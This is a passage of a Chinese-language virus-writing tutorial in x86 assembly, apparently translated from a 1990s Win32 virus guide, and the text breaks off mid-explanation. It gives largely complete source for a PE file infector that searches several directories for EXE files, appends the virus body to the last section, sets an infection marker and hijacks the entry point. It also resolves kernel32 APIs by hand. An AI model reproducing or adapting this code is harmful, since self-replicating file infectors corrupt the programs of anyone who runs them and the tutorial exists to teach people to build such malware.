 ; GetSystemDirectory 函式得到的是Windows系統目錄,系統目錄包括諸如Windows庫
 ; 驅動和字型檔案。
 ;                                                
 ; UINT GetSystemDirectory(                    
 ;   LPTSTR lpBuffer,    // 儲存系統目錄的緩衝區
 ;   UINT uSize  // 目錄緩衝區的大小
 ;  );                                 
 ;                                
 ;                              
 ; 引數       
 ; ====
 ;                                        
 ; ?lpBuffer: 指向接受以NULL結尾的包含路徑的字串的緩衝區。這個路徑不是以一個
 ;   反斜線符號結尾的,除非系統目錄是根目錄。例如,如果系統目錄是在C盤上的名為
 ;   WINDOWS\SYSTEM,那麼這個函式返回的系統目錄路徑為C:\WINDOWS\SYSTEM。
 ;                                      
 ; ?uSize: 指定緩衝區的最大字元個數。這個值應該被設定成最小MAX_PATH。
 ;                    
 ; 返回值           
 ; ======
 ;                                    
 ; ?如果函式成功了,返回值是複製到緩衝區中的字元個數,不包括NULL結尾字元。
 ;  如果長度大於緩衝區的大小,返回值是儲存路徑的緩衝區所需要的大小。
 ;                    
 ; ---                    
 ;                        
 ; GetCurrentDirectory 函式得到的是當前程式的當前目錄。
 ; current process.                             
 ;                        
 ; DWORD GetCurrentDirectory(  
 ;   DWORD nBufferLength,        // 目錄緩衝區的字元個數
 ;   LPTSTR lpBuffer     // 儲存當前目錄的緩衝區地址
 ;  );                
 ;                   
 ; 引數                 
 ; ====
 ;                                 
 ; ?nBufferLength: 儲存當前目錄字串的緩衝區的字元個數。緩衝區的長度必須包括
 ;   NULL字元在內。
 ;                                  
 ; ?lpBuffer: 指向儲存當前目錄字串緩衝區的字串。這個以NULL結尾的字串儲存
 ;   的是當前目錄的絕對路徑。
 ;                           
 ; 返回值
 ; ======
 ;                                         
 ; ?如果函式成功執行了,返回的值是寫到緩衝區的字元個數,不包括NULL字元。
 ;---------------------------------------------------------------------------

InfectItAll:
        lea     edi,[ebp+directories]           ; 指向第一個目錄
        mov     byte ptr [ebp+mirrormirror],03h ; 3 個目錄
requiem:
        push    edi                             ; 設定由EDI指向的目錄
        call    [ebp+_SetCurrentDirectoryA]

        push    edi                             ; 儲存EDI
        call    Infect                          ; 感染選定的目錄的所有檔案
        pop     edi                             ; 恢復EDI

        add     edi,7Fh                         ; 另外一個目錄

        dec     byte ptr [ebp+mirrormirror]     ; 計數器-1
        jnz     requiem                         ; 是最後一個嗎?不是,再來
        ret

 ;---------------------------------------------------------------------------
 ; 我們開始所做的是使EDI指向陣列中的第一個目錄,然後我們設定我們想要感染的目錄
 ; 個數(dirs2inf=3)。好了,然後我們開始主迴圈。它包括如下:我們改變目錄到當前
 ; 選定的目錄下面,我們感染所有那個目錄的所有想要感染的檔案,然後我們得到了另外
 ; 一個目錄知道我們完成了我們想要感染的3個目錄。簡單,啊?:)該看看SetCurrentDirectory
 ; 這個API函式的特徵了:
 ;                        
 ; SetCurrentDirectory 為當前程式改變當前目錄。
 ;     
 ; BOOL SetCurrentDirectory(        
 ;   LPCTSTR lpPathName  // 當前新目錄的名字地址
 ;  );        
 ;    
 ; 引數
 ; ====
 ;       
 ; ?lpPathName: 指向一個以NULL字元結尾的字串,這個字串儲存當前新目錄的
 ;   名字。這個引數可以是一個相對路徑,還可以是絕對路徑。在每種情況下,都是
 ;   計算並儲存的當前目錄的絕對路徑。
 ;       
 ; 返回值     
 ; ======
 ; 
 ; ?如果函式成功執行,返回的是非0值。
 ;---------------------------------------------------------------------------

Infect: and     dword ptr [ebp+infections],00000000h ; reset countah

        lea     eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit structure
        push    eax                             ; Push it
        lea     eax,[ebp+offset EXE_MASK]       ; Mask to search for
        push    eax                             ; Push it

        call    [ebp+_FindFirstFileA]           ; Get first matching file

        inc     eax                             ; CMP EAX,0FFFFFFFFh
        jz      FailInfect                      ; JZ  FAILINFECT
        dec     eax

        mov     dword ptr [ebp+SearchHandle],eax ; Save the Search Handle

 ;---------------------------------------------------------------------------
 ; 這是感染例程的第一部分。第一行僅僅是為了用一個更為最佳化的方法(此例中的AND
 ; 比mov更小)清除感染計數器(即設定成0)。在感染計數器已經重置之後,該是搜尋
 ; 檔案來感染的時候了;)OK,在DOS中,我們有INT 21h的4Eh/4Fh服務...現在在Win32
 ; 中,我們有兩個等價的API函式:FindFirstFile 和 FindNextFile。現在我們想要
 ; 搜尋目錄中的第一個檔案。所有的Win32中的尋找檔案的函式都有一個結構(你還記得
 ; DTA嗎?)叫做WIN32_FIND_DATA(許多時候簡稱WFD)。讓我們看看這個結構的域:
 ; 
 ; MAX_PATH                equ     260  <-- 路徑的最大大小
 ; 
 ; FILETIME                STRUC        <-- 處理時間的結構,在很多Win32
 ; FT_dwLowDateTime        dd      ?        結構中都有
 ; FT_dwHighDateTime       dd      ?   
 ; FILETIME                ENDS   
 ; 
 ; WIN32_FIND_DATA         STRUC  
 ; WFD_dwFileAttributes    dd      ?    <-- 包含了檔案的屬性
 ; WFD_ftCreationTime      FILETIME ?   <-- 檔案建立的時間
 ; WFD_ftLastAccessTime    FILETIME ?   <-- 檔案的最後訪問時間
 ; WFD_ftLastWriteTime     FILETIME ?   <-- 檔案的最後修改時間
 ; WFD_nFileSizeHigh       dd      ?    <-- 檔案大小的高位
 ; WFD_nFileSizeLow        dd      ?    <-- 檔案大小的低位
 ; WFD_dwReserved0         dd      ?    <-- 保留
 ; WFD_dwReserved1         dd      ?    <-- 保留
 ; WFD_szFileName          db      MAX_PATH dup (?) <-- ASCII形式的檔名
 ; WFD_szAlternateFileName db      13 dup (?) <-- 除去路徑的檔名
 ;                         db      03 dup (?) <-- Padding
 ; WIN32_FIND_DATA         ENDS
 ;
 ; ?dwFileAttributes: 決定找到的檔案的屬性。這個成員可以為一個或更多的值[在
 ;   這裡因為空間關係就不列舉了:你可以在29A的INC檔案(29A#2)和以前的文件中找
 ;   到]
 ;
 ; ?ftCreationTime: 包含了一個FILETIME結構包含了檔案建立的時間。FindFirstFile
 ;   和FindNextFile以Coordinated Universal Time (UTC) 格式報告檔案的時間。如果
 ;   檔案系統包含的檔案不支援這個時間成員的話,這兩個函式會把FILETIME的成員設 
 ;   置成0。你可以使用FileTimeToLocalFileTime函式來把UTC轉化成本機時間,然後
 ;   使用FileTimeToSystemTime函式把本機時間轉化成一個SYSTEMTIME結構的包含月,
 ;   日,年,星期,小時,分,秒,和毫秒。
 ;   
 ; ?ftLastAccessTime: 儲存了一個FILETIME結構,包含了檔案最後訪問的時間。這個
 ;   時間是UTC形式;如果檔案系統不支援這個時間成員,FILETIME的成員就是0。
 ;
 ; ?ftLastWriteTime: 儲存了一個FILETIME結構包含了檔案的最後修改時間。時間是
 ;   UTC格式的;如果檔案系統不支援這個時間成員,FILETIME的成員就是0。
 ;
 ; ?nFileSizeHigh: 儲存了DWORD型別的檔案大小的高位。如果檔案大小比MAXDWORD大
 ;   的話,這個值為0。檔案的大小等於(nFileSizeHigh * MAXDWORD)+ nFileSizeLow。
 ;
 ; ?nFileSizeLow: 儲存了DWORD型別的檔案大小的低位。
 ;
 ; ?dwReserved0: 保留為將來使用。
 ;
 ; ?dwReserved1: 保留為將來使用。
 ;
 ; ?cFileName: 一個NULL字元結尾的字串是檔案的名字。
 ;
 ; ?cAlternateFileName: 一個以NULL結尾的字串儲存的是檔案的可選名。這個名字
 ; 是古典的8.3(filename.ext)檔名格式。
 ;
 ; 當我們知道了WFD結構的域之後,我們可以更深一層地去"尋找"Windows地函式。首先
 ; 讓我們來看看FindFirstFileA這個API地描述:
 ;
 ; FindFirstFile 函式在一個目錄中搜尋一個和指定地檔名符合的檔案。FindFirstFileA
 ; 還檢查子目錄名。
 ; 
 ; HANDLE FindFirstFile(
 ;   LPCTSTR lpFileName,  // 指向要搜尋的檔名
 ;   LPWIN32_FIND_DATA lpFindFileData    // 指向返回資訊
 ;  );
 ;
 ; 引數
 ; ====
 ;
 ; ?lpFileName:  A. Windows 95: 指向一個以NULL結尾的指定一個合法的目錄或路徑和
 ;                  檔名字串,它可以包含萬用字元(*和?)。這個字串不能超過
 ;                  MAX_PATH個數。
 ;                  
 ;               B. Windows NT: 指向一個以NULL結尾的指定一個合法的目錄或路徑和
 ;                  檔名字串,它不能包含萬用字元(*和?)。
 ;                       
 ; 路徑有一個預設的字元大小限制MAX_PATH。這個限制取決於FindFirst函式怎麼分析路徑。
 ; 一個應用程式可以超過這個限制並可以透過呼叫寬(W)版本的FindFirstFile函式並預先考慮
 ; "\\?\"來傳給超過MAX_PATH的路徑。"\\?\"告訴了函式關閉路徑解析;它使得路徑長於MAX_PATH
 ; 可以被FindFirstFileW函式使用。這個還可以對UNC名有效。"\\?\"被作為路徑的一部分
 ; 忽略掉了。例如,"\\?\C:\myworld\private"被看成"C:\myworld\private", 而
 ; "\\?\UNC\bill_g_1\hotstuff\coolapps"被看成"\\bill_g_1\hotstuff\coolapps"。
 ;                                          
 ; ?lpFindFileData: 指向於WIN32_FIND_DATA 結構來接受關於找到的檔案或目錄。這個
 ;   結構可以在隨後的呼叫FindNextFile 或 FindClose 函式中引用檔案或子目錄。
 ;                                                                
 ; 返回值                                                   
 ; =====                                    
 ;                                        
 ; ?如果函式成功呼叫了,返回值是一個搜尋控制程式碼,在隨後的呼叫FindNextFile 或 FindClose
 ;   時用到。
 ;                                                                         
 ; ?如果函式失敗了,返回值是INVALID_HANDLE_VALUE。為了獲得詳細的錯誤資訊,呼叫
 ;   函式。
 ;                                                                          
 ; 所以,現在你知道了FindFirstFile函式的所有引數了。而且,現在你知道了下面程式碼塊
 ; 的最後一行了:)
 ;---------------------------------------------------------------------------

__1:    push    dword ptr [ebp+OldEIP]          ; 儲存 OldEIP 和 ModBase,
        push    dword ptr [ebp+ModBase]         ; 感染時改變

        call    Infection                       ; 感染找到的檔案

        pop     dword ptr [ebp+ModBase]         ; 恢復它們
        pop     dword ptr [ebp+OldEIP]

        inc     byte ptr [ebp+infections]       ; 增加計數器
        cmp     byte ptr [ebp+infections],05h   ; 超過限制啦?
        jz      FailInfect                      ; 該死...

 ;---------------------------------------------------------------------------
 ; 我們所做的第一件事是儲存了一些必須的變數的內容,它們在後面我們返回控制權給主體的
 ; 時候用到,但是這些變數在感染檔案的時候改變了是很痛苦的。我們呼叫感染例程:它僅
 ; 需要WFD資訊,所以我們不必給它傳引數了。在感染完相關的檔案後,我們把值再改回來。
 ; 在做完那個以後,我們增加感染計數器,並檢查我們是否已經感染了5個檔案了(這個病毒
 ; 的感染限制)。如果我們已經做完了那些事情,病毒從感染函式中退出。
 ;---------------------------------------------------------------------------

__2:    lea     edi,[ebp+WFD_szFileName]        ; 指向檔名的指標
        mov     ecx,MAX_PATH                    ; ECX = 260
        xor     al,al                           ; AL = 00
        rep     stosb                           ; 清除舊的檔名變數

        lea     eax,[ebp+offset WIN32_FIND_DATA] ; 指向 WFD的指標
        push    eax                             ; 把它壓棧
        push    dword ptr [ebp+SearchHandle]    ; Push Search Handle
        call    [ebp+_FindNextFileA]            ; 尋找另外一個檔案

        or      eax,eax                         ; 失敗? 
        jnz     __1                             ; 沒有, 感染另外一個

CloseSearchHandle:
        push    dword ptr [ebp+SearchHandle]    ; Push search handle
        call    [ebp+_FindClose]                ; 關閉它

FailInfect:
        ret

 ;---------------------------------------------------------------------------
 ; 程式碼塊的開始部分做一個簡單的事情:它抹掉在WFD結構(校驗檔名資料)裡的資料。
 ; 這樣做是為了在尋找另外一個檔案的時候避免出問題。我們下一步要做的是呼叫
 ; FindNextFile這個API函式。下面是這個API的描述:
 ;                                            
 ; FindNextFile 函式繼續以前呼叫的FindFirstFile函式來繼續搜尋一個檔案 。
 ;                                                                          
 ; BOOL FindNextFile(                                                       
 ;   HANDLE hFindFile,   // 要搜尋的控制程式碼                                
 ;   LPWIN32_FIND_DATA lpFindFileData    // 指向儲存找到檔案的資料的結構
 ;  );                                                                      
 ;                                                                          
 ; 引數                                                               
 ; ====                                                               
 ;                                                                          
 ; ?hFindFile: 識別由先前的呼叫FindFirstFile函式返回的搜尋控制程式碼。
 ;                                                                          
 ; ?lpFindFileData: 指向一個WIN32_FIND_DATA 結構,用來接受關於找到的檔案或子目錄
 ;   的資訊。這個結構可以在隨後的呼叫FindNextFile時引用來尋找檔案或目錄。
 ;                                                                          
 ; 返回值                                                          
 ; ======                                                           
 ;                                                                          
 ; ?如果函式呼叫成功,返回值是非零值。                 
 ;                                                                          
 ; ?如果函式呼叫成功,返回值是0。為了獲得詳細的錯誤資訊,呼叫GetLastError。
 ;                                                        
 ; ?如果沒有匹配的檔案,GetLastError函式會返回ERROR_NO_MORE_FILES。
 ;                                                                       
 ; 如果FindNextFile返回錯誤,或者如果病毒已經到達了可能感染的最大檔案數,我們到了
 ; 這個例程的最後一塊。它由透過FindClose這個API來關閉搜尋控制程式碼組成。照常,下面是
 ; 這個API的描述:
 ;                                                                          
 ; FindClose函式關閉指定的搜尋控制程式碼。FindFirstFile 和 FindNextFile 函式使用這個 
 ; 控制程式碼來用匹配給定的名字來定位檔案。
 ;                                                                          
 ; BOOL FindClose(                                                          
 ;   HANDLE hFindFile    // 檔案搜尋控制程式碼
 ;  );                                                          
 ;                                                
 ;                                                 
 ; 引數
 ; ====
 ;                                                      
 ; ?hFindFile: 識別搜尋控制程式碼。這個控制程式碼必須是由FindFirstFile函式已經開啟的。
 ;                                                               
 ; 返回值
 ; ======
 ;                                            
 ; ?如果函式呼叫成功,返回值是非0值。
 ;                                                         
 ; ?如果函式呼叫失敗,返回值是0。為了獲得詳細的錯誤資訊,呼叫GetLastError
 ;                                                                          ;
 ;---------------------------------------------------------------------------

Infection:
        lea     esi,[ebp+WFD_szFileName]        ; 獲得要感染的檔名
        push    80h
        push    esi
        call    [ebp+_SetFileAttributesA]       ; 清除它的屬性

        call    OpenFile                        ; 開啟它

        inc     eax                             ; 如果 EAX = -1, 就有一個錯誤
        jz      CantOpen                        
        dec     eax

        mov     dword ptr [ebp+FileHandle],eax

 ;---------------------------------------------------------------------------
 ; 我們首先做的是清除檔案的屬性,並把它們設定為"正常檔案"。這是透過SetFileAttributes
 ; 這個API來實現的。下面給出這個API的簡要介紹:
 ;                                                                
 ; SetFileAttributes 函式 設定一個檔案的屬性。        
 ;                                                                         
 ; BOOL SetFileAttributes(                                           
 ;   LPCTSTR lpFileName, // 檔名的地址
 ;   DWORD dwFileAttributes      // 要設定的屬性的地址
 ;  );                                                          
 ;                                                       
 ; 引數
 ; ====
 ;                                                                   
 ; ?lpFileName: 指向一個儲存要修改屬性的檔案的檔名字串。
 ;                                                                          
 ; ?dwFileAttributes: 指定要設定的檔案的屬性。這個引數可以為下面的值的組合。然而,
 ;   所有的其它的值超越FILE_ATTRIBUTE_NORMAL
 ;                                                                 
 ; 返回值
 ; ======
 ;                                                                   
 ; ?如果函式呼叫成功,返回值是非0值。
 ;                                                                          
 ; ?如果函式呼叫失敗,返回值是0。為了獲得詳細的錯誤資訊,呼叫GetLastError
 ;                                                                          
 ; 在我們設定了新的檔案屬性之後,我們開啟了檔案,而且,如果沒有任何錯誤發生,它把
 ; 控制程式碼儲存到它的變數中。
 ;---------------------------------------------------------------------------

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 首先我們用它的正確大小建立對映
        call    CreateMap                     

        or      eax,eax
        jz      CloseFile

        mov     dword ptr [ebp+MapHandle],eax

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] 
        call    MapFile                         ; 對映它

        or      eax,eax
        jz      UnMapFile

        mov     dword ptr [ebp+MapAddress],eax

 ;---------------------------------------------------------------------------
 ; 首先我們給ECX賦我們打算要對映的檔案的大小,然後我們呼叫我們的函式來對映它。
 ; 我們檢查可能的錯誤,如果沒有任何錯誤,我們繼續,否則,我們關閉檔案。然後我們
 ; 儲存對映控制程式碼,並準備最終利用MapFile函式來對映它。還象以前那樣,我們檢查錯誤,
 ; 決定相應的處理。如果所有的都做好了,我們儲存對映起作用的地址。
 ;---------------------------------------------------------------------------

        mov     esi,[eax+3Ch]
        add     esi,eax
        cmp     dword ptr [esi],"EP"            ; 它是PE嗎?
        jnz     NoInfect

        cmp     dword ptr [esi+4Ch],"CTZA"     ; 它被感染了嗎?
        jz      NoInfect

        push    dword ptr [esi+3Ch]

        push    dword ptr [ebp+MapAddress]      ; 關閉所有
        call    [ebp+_UnmapViewOfFile]

        push    dword ptr [ebp+MapHandle]
        call    [ebp+_CloseHandle]

        pop     ecx

 ;---------------------------------------------------------------------------
 ; 當我們在EAX中得到了開始對映的地址,我們重新整理指向PE頭(MapAddress+3Ch)的指標,  
 ; 然後我們規範化它,所以在ESI中我們將得到指向PE頭的指標。總之我們檢查它是否OK,
 ; 所以我們檢查PE簽名。在那個檢查之後,我們檢查檔案是否在以前感染過了(我們在PE的
 ; 偏移地址4Ch處儲存了一個標記,程式從來不會用的),如果它沒有,我們繼續感染過程。
 ; 我們儲存他們,在堆疊中 ,檔案對齊(看看PE頭那一章)。而且在那之後,我們解除對映,
 ; 並關閉對映控制程式碼。最終我們從堆疊恢復檔案對齊(File Alignment),把它存在ECX暫存器中。
 ;---------------------------------------------------------------------------

        mov     eax,dword ptr [ebp+WFD_nFileSizeLow] ; 再次對映
        add     eax,virus_size

        call    Align
        xchg    ecx,eax

        call    CreateMap
        or      eax,eax
        jz      CloseFile

        mov     dword ptr [ebp+MapHandle],eax

        mov     ecx,dword ptr [ebp+NewSize]
        call    MapFile

        or      eax,eax
        jz      UnMapFile

        mov     dword ptr [ebp+MapAddress],eax
        
        mov     esi,[eax+3Ch]
        add     esi,eax

 ;---------------------------------------------------------------------------
 ; 當我們在ECX(準備'Align'函式,因為它需要在ECX中的對齊因子)中得到了檔案對齊,我們
 ; 給EAX賦開啟的檔案大小加上病毒大小(EAX是要對齊的數量),然後我們呼叫'Align'函式,
 ; 它在EAX中返回給我們對齊的數字。例如,如果對齊(Alignment)是200h,而且檔案大小+
 ; 病毒大小是12345h,'Align'函式將會返回給我們的數字將會是12400h。然後我們把對齊數字
 ; 儲存到ECX中。我們再次呼叫CreateMap函式,但是現在我們用對齊後的大小來對映檔案。
 ; 在這之後,我們再次使ESI指向PE頭。
 ;---------------------------------------------------------------------------

        mov     edi,esi                         ; EDI = ESI = Ptr to PE header

        movzx   eax,word ptr [edi+06h]          ; AX = n?of sections
        dec     eax                             ; AX--
        imul    eax,eax,28h                     ; EAX = AX*28
        add     esi,eax                         ; Normalize
        add     esi,78h                         ; Ptr to dir table
        mov     edx,[edi+74h]                   ; EDX = n?of dir entries
        shl     edx,3                           ; EDX = EDX*8
        add     esi,edx                         ; ESI = Ptr to last section

 ;---------------------------------------------------------------------------
 ; 首先我們也使EDI指向PE頭。然後,我們給AX賦節的個數(一個WORD型別的數),並使它
 ; 減1。然後我們把AX(n,節數-1)乘以28h(節頭的大小),把它再加上PE頭的偏移地址。使ESI
 ; 指向目錄表,在EDX中得到目錄入口點的數目。然後我們把它乘以8,最後把結果(在EDX中)
 ; 加到ESI,所以ESI將指到最後一節。
 ;---------------------------------------------------------------------------

        mov     eax,[edi+28h]                   ; 獲得 EP
        mov     dword ptr [ebp+OldEIP],eax      ; 儲存它
        mov     eax,[edi+34h]                   ; 獲得 imagebase
        mov     dword ptr [ebp+ModBase],eax     ; 儲存它
        
        mov     edx,[esi+10h]                   ; EDX = SizeOfRawData
        mov     ebx,edx                         ; EBX = EDX
        add     edx,[esi+14h]                   ; EDX = EDX+PointerToRawData

        push    edx                             ; 儲存 EDX

        mov     eax,ebx                         ; EAX = EBX
        add     eax,[esi+0Ch]                   ; EAX = EAX+VA 地址
                                                ; EAX = 新 EIP
        mov     [edi+28h],eax                   ; 改變新的 EIP
        mov     dword ptr [ebp+NewEIP],eax      ; 還儲存它

 ;---------------------------------------------------------------------------
 ; 首先我們給EAX賦我們正在感染的檔案的EIP值,為了後面把舊EIP賦給一個變數,將會在
 ; 病毒(你將會看到)的開始用到。我們對基址同樣這麼做。然後,我們給EDX賦最後一節的
 ; 的SizeOfRawData賦給EDX,再賦給EDX,然後,我們把EDX加上PointerToRawData(EDX
 ; 將在複製病毒的時候用到所以我們把它儲存到堆疊中)。在這之後,我們給EAX賦SizeOfRawData,
 ; 把它加上VA地址 :所以我們在EAX中得到的是主體的新EIP。所以我們把它儲存在它的PE頭
 ; 的域中,並儲存在另外一個變數中(看看病毒的開始處)。
 ;---------------------------------------------------------------------------

        mov     eax,[esi+10h]                   ; EAX = 新的 SizeOfRawData
        add     eax,virus_size                  ; EAX = EAX+VirusSize
        mov     ecx,[edi+3Ch]                   ; ECX = FileAlignment(檔案對齊)
        call    Align                           ; 對齊!

        mov     [esi+10h],eax                   ; 新的 SizeOfRawData
        mov     [esi+08h],eax                   ; 新的 VirtualSize

        pop     edx                             ; EDX = 指向節尾的原始指標
                                               

        mov     eax,[esi+10h]                   ; EAX =  新的 SizeOfRawData
        add     eax,[esi+0Ch]                   ; EAX = EAX+VirtualAddress
        mov     [edi+50h],eax                   ; EAX =  新的 SizeOfImage

        or      dword ptr [esi+24h],0A0000020h  ; 設定新的節標誌


 ;---------------------------------------------------------------------------
 ; Ok, 我們做的第一件事是把最後一節的SizeOfRawData裝載到EAX中,然後把病毒的大小
 ; 加上它。在 ECX中,我們裝載FileAlignment,我們呼叫'Align'函式,所以在EAX中,
 ; 我們將得到對齊後的SizeOfRawData+VirusSize。
 ; 讓我們看看一個小例子:                                     
 ;                                                                          
 ;      SizeOfRawData - 1234h                                               
 ;      VirusSize     -  400h                                               
 ;      FileAlignment -  200h                                               
 ;                                                                          
 ; 所以,SizeOfRawData + VirusSize 將為1634,在對那個值對齊之後將為1800h。簡單,哈? 
 ; 所以我們把對齊後的值設為新的SizeOfRawData並作為新的VirtualSize,這樣做之後我們
 ; 將沒有問題了,我們計算新的SizeOfImage,也就是說,新的SizeOfRawData和VirtualAddress
 ; 的和。在計算完這個之後,我們把它儲存到PE頭的SizeOfImage域中(偏移50h處)。然後,
 ; 我們按如下設定節的屬性:
 ;                                                                         
 ;      00000020h - 節包含程式碼                               
 ;      40000000h - 節可讀
 ;      80000000h - 節可寫                
 ;                                                 
 ; 所以,如果我們要應用這三個屬性只要把那3個值或(OR)即可,結果將是A0000020h。
 ; 所以,我們還要把他和節的當前屬性值進行或,這樣我們不必刪除舊的:只要加上它們。
 ;---------------------------------------------------------------------------

        mov     dword ptr [edi+4Ch],"CTZA"      ; 設定感染標誌

        lea     esi,[ebp+aztec]                 ; ESI = 指向 virus_start 的指標
        xchg    edi,edx                         ; EDI = 指向最後一節結尾的指標
                                                ;       
        add     edi,dword ptr [ebp+MapAddress]  ; EDI = 規範化後指標
        mov     ecx,virus_size                  ; ECX = 要複製的大小
        rep     movsb                           ; 做它!

        jmp     UnMapFile                       ; 解除對映, 關閉, 等等.

 ;---------------------------------------------------------------------------
 ; 為了避免重複感染檔案我們現在所做的首先是在PE頭沒有用過地方設定感染的標誌(偏移
 ; 4Ch是保留的)。然後,在ESI中放一個指向病毒開始的指標。在我們把EDX的值賦給ESI
 ; (記住:EDX=舊的 SizeOfRawData+PointerToRawData)之後,那就是我們放置病毒程式碼
 ; 的RVA。正如我已經說過了,它是一個RVA,這一點你必須知道;)RVA必須轉換成VA,
 ; 這是透過把RVA加上相對值實現的... 所以,它和開始對映檔案的地址(如果你還記得,它是
 ; 由MapViewOfFile這個API返回的)相關。所以,最後,在EDI中我們得到的是寫病毒程式碼的
 ; VA。在ECX中,我們裝入病毒的大小,並複製。所有都做好了!:)現在我們關閉所有...
 ;---------------------------------------------------------------------------

NoInfect:
        dec     byte ptr [ebp+infections]
        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]
        call    TruncFile

 ;---------------------------------------------------------------------------
 ; 在感染的時候,如果有什麼錯誤發生,我們就到了這個地方。我們把感染計數器減1,把檔案
 ; 截去感染之前的大小。我希望我們的病毒不會到達這個地方:)
 ;---------------------------------------------------------------------------

UnMapFile:
        push    dword ptr [ebp+MapAddress]      ; 關閉對映的地址
        call    [ebp+_UnmapViewOfFile]

CloseMap:       
        push    dword ptr [ebp+MapHandle]       ; 關閉對映
        call    [ebp+_CloseHandle]

CloseFile:
        push    dword ptr [ebp+FileHandle]      ; 關閉檔案
        call    [ebp+_CloseHandle]

CantOpen:
        push    dword ptr [ebp+WFD_dwFileAttributes]
        lea     eax,[ebp+WFD_szFileName]        ; 設定原先檔案的的屬性
        push    eax
        call    [ebp+_SetFileAttributesA]
        ret

 ;---------------------------------------------------------------------------
 ; 這塊程式碼集中於關閉在感染的時候開啟的所有東西:對映地址,對映自身,檔案,隨後把
 ; 原先的屬性設定回去。
 ; 讓我們看看這裡用到的API:
 ;                                                                          
 ; UnmapViewOfFile 函式從呼叫程式的地址空間中解除檔案的對映。
 ;                                                                          
 ; BOOL UnmapViewOfFile(                                                    
 ;   LPCVOID lpBaseAddress       // 開始對映的地址
 ;  );                                                       
 ;                                                           
 ; 引數                                       
 ; ====                                                               
 ;                                                                          
 ; ?lpBaseAddress: 指向要解除對映的檔案的基址。這個值必須是由先前呼叫MapViewOfFile
 ;   或MapViewOfFileEx函式返回的值。
 ;                                                                         
 ; 返回值
 ; =====
 ;                                                                        
 ; ?如果函式呼叫成功,返回值是非0值,而且所有指定範圍內的頁將會標誌"lazily"。
 ;                                                                          
 ; ?如果函式呼叫失敗,返回值是0。為了獲得詳細的錯誤資訊,呼叫GetLastError函式。
 ;                                                                          
 ; ---                                                                      
 ;                                                                          
 ; CloseHandle 函式關閉一個開啟物件的控制程式碼。
 ;                                                                          
 ; BOOL CloseHandle(                                                        
 ;   HANDLE hObject      // 要關閉物件的控制程式碼
 ;  );                                                                      
 ;                                                                          
 ; 引數
 ; ====
 ;                                                                          
 ; ?hObject: 指一個開啟物件的控制程式碼。
 ;                                                                          
 ;  返回值
 ;  ======
 ;                                                                          
 ; ?如果函式呼叫成功,返回值是非0值。
 ; ?如果函式呼叫失敗,返回值是0。想要獲得詳細的錯誤資訊,呼叫GetLastError。
 ;
 ;---------------------------------------------------------------------------

GetK32          proc
_@1:    cmp     word ptr [esi],"ZM"
        jz      WeGotK32
_@2:    sub     esi,10000h
        loop    _@1
WeFailed:
        mov     ecx,cs
        xor     cl,cl
        jecxz   WeAreInWNT
        mov     esi,kernel_
        jmp     WeGotK32
WeAreInWNT:
        mov     esi,kernel_wNT
WeGotK32:
        xchg    eax,esi
        ret
GetK32          endp

GetAPIs         proc
@@1:    push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi

        stosd

        xchg    edi,esi

        xor     al,al
@@2:    scasb
        jnz     @@2

        xchg    edi,esi

@@3:    cmp     byte ptr [esi],0BBh
        jnz     @@1

        ret
GetAPIs         endp

GetAPI          proc
        mov     edx,esi
        mov     edi,esi

        xor     al,al
@_1:    scasb
        jnz     @_1

        sub     edi,esi                         ; EDI = API 的名字大小
        mov     ecx,edi

        xor     eax,eax
        mov     esi,3Ch
        add     esi,[ebp+kernel]
        lodsw
        add     eax,[ebp+kernel]

        mov     esi,[eax+78h]
        add     esi,1Ch

        add     esi,[ebp+kernel]

        lea     edi,[ebp+AddressTableVA]
        
        lodsd
        add     eax,[ebp+kernel]
        stosd

        lodsd
        add     eax,[ebp+kernel]
        push    eax                             ; mov [NameTableVA],eax   =)
        stosd

        lodsd
        add     eax,[ebp+kernel]
        stosd
        
        pop     esi

        xor     ebx,ebx

@_3:    lodsd
        push    esi      
        add     eax,[ebp+kernel]
        mov     esi,eax
        mov     edi,edx
        push    ecx
        cld
        rep     cmpsb
        pop     ecx
        jz      @_4
        pop     esi
        inc     ebx
        jmp     @_3              

@_4:
        pop     esi
        xchg    eax,ebx
        shl     eax,1
        add     eax,dword ptr [ebp+OrdinalTableVA]
        xor     esi,esi
        xchg    eax,esi
        lodsw
        shl     eax,2
        add     eax,dword ptr [ebp+AddressTableVA]
        mov     esi,eax
        lodsd
        add     eax,[ebp+kernel]
        ret
GetAPI          endp

 ;---------------------------------------------------------------------------
 ; 上面所有的程式碼以前已經見過了,這裡是有了一點點最佳化,所以你可以看看你自己用其它
 ; 方法該怎麼做。
 ;---------------------------------------------------------------------------

 ; 輸入:
 ;      EAX - 對齊的值
 ;      ECX - 對齊因子
 ; 輸出:
 ;      EAX - 對齊值

Align           proc
        push    edx
        xor     edx,edx
        push    eax
        div     ecx
        pop     eax
        sub     ecx,edx
        add     eax,ecx
        pop     edx
        ret
Align           endp

 ;---------------------------------------------------------------------------
 ; 這個函式執行在PE感染中非常重要的一件事情:把數字和指定的因子對齊。如果你不是
 ; 一個d0rk,你就不必問我它是怎麼工作的了。( Fuck,你到底學了沒有?)
 ;---------------------------------------------------------------------------
 ; 輸入:
 ;      ECX - 要截的檔案
 ; 輸出:
 ;      無.

TruncFile       proc
        xor     eax,eax
        push    eax
        push    eax
        push    ecx
        push    dword ptr [ebp+FileHandle]
        call    [ebp+_SetFilePointer]

        push    dword ptr [ebp+FileHandle]
        call    [ebp+_SetEndOfFile]
        ret
TruncFile       endp

 ;---------------------------------------------------------------------------
 ; SetFilePointer 使檔案指標指向一個開啟的檔案。
 ;                                                                          
 ; DWORD SetFilePointer(                                                    
 ;   HANDLE hFile,       // 檔案的控制程式碼
 ;   LONG lDistanceToMove,       // 需要移動檔案指標的位元組數
 ;   PLONG lpDistanceToMoveHigh, // 要移動距離的高位字
 ;                               
 ;   DWORD dwMoveMethod  // 怎麼移
 ;  );                                                         
 ;                                                             
 ; 引數
 ; ====
 ;                                                                          
 ; ?hFile: 指需要移動移動檔案指標的檔案。這個檔案控制程式碼必須是用GENERIC_READ或GENERIC_WRITE 
 ;   方式建立的。
 ;                                                                          
 ; ?lDistanceToMove: 指要移動檔案指標的位元組數。一個正值表示指標向前移動,而一個負
 ;   值表示檔案指標向後移動。
 ;                                                                          
